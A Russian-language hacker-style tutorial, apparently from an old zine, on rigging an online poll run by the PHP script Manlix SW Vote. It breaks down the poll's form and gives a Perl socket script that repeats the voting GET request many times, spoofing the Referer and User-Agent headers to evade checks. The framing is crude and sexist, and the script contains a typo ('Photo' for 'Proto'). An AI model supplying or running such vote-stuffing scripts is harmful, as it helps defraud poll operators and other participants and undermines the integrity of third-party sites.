В этой статье я расскажу тебе о том, как "проголосовать за свой сайт"
много раз. Где это можно использовать? Предположим, на каком-то сайте замутили
голосование на тему "У кого самая сисистая телка?". И ты, конечно, решил победить в
этом голосовании.
Варианты ответов, которые предлагаются:
- Вася Пупкин (это ты)
- Иванов
- Петров
- Сидоров
...
и по списку
Возьмем, к примеру, голосование на PHP - Manlix SW Vote v 0.1
В html сорсе все это выглядит так:
<form action="http://www.server.com/vote/mnlxswvote.php" method=get>
<input type="hidden" name="id" value="1">
<input type=radio name=v value=1> Вася Пупкин
<input type=radio name=v value=2> Иванов
<input type=radio name=v value=3> Петров
<input type=radio name=v value=4> Сидоров
<input type=radio name=v value=5> ...
<input type=submit value="Голосовать" name="submit" >
</form>
Анализируем:
============
Данные формы передаются скрипту mnlxswvote.php методом GET,
туда же передается и номер голосования (скрипт может поддерживать несколько голосований)
id=1 и варианты ответа v=1,2,3,4,5,...
Немного прикинув, становится ясно, что нужно передать скрипту v=1 много раз.
Целиком строка выглядит следующим образом:
http://www.server.com/vote/mnlxswvote.php?id=1&v=1
Напишем скрипт.
===============
Для этого я использую Перл, потому как его можно запустить с
шелла, что есть всегда гут.
#!/usr/bin/perl
use IO::Socket;
# Сервер, к которому будем подключаться, порт и путь соответственно
$server="www.server.com";
$port="80"; # порт
$path="vote/mnlxswvote.php?id=1&v=1"; # а вот тут наш запрос
# Сколько раз "проголосовать"
$con=20;
# Пускаем цикл
for ($i=0;$i<$con;$i++){
# Создаем сокет
$socket=IO::Socket::INET->new(
PeerAddr => $server,
PeerPort => $port,
Photo => tcp) || die print "Unable to connect to $server:$port\n";
print $socket "GET $path HTTP/1.1\n";
print $socket "Host: $server\n";
print $socket "Accept: */*\n";
# Подмена заголовка
print $socket "Referer: http://support.microsoft.com/\n";
# Твой агент
print $socket "User-Agent: Internet Explorer 6.0\n";
# Отключаем кеширование
print $socket "Pragma: no-cache\n";
print $socket "Cache-Control: no-cache\n";
print $socket "Connection: close\n\n";
}
Вот и все. Ты победил. И теперь тебя будут уважать за "читай начало статьи".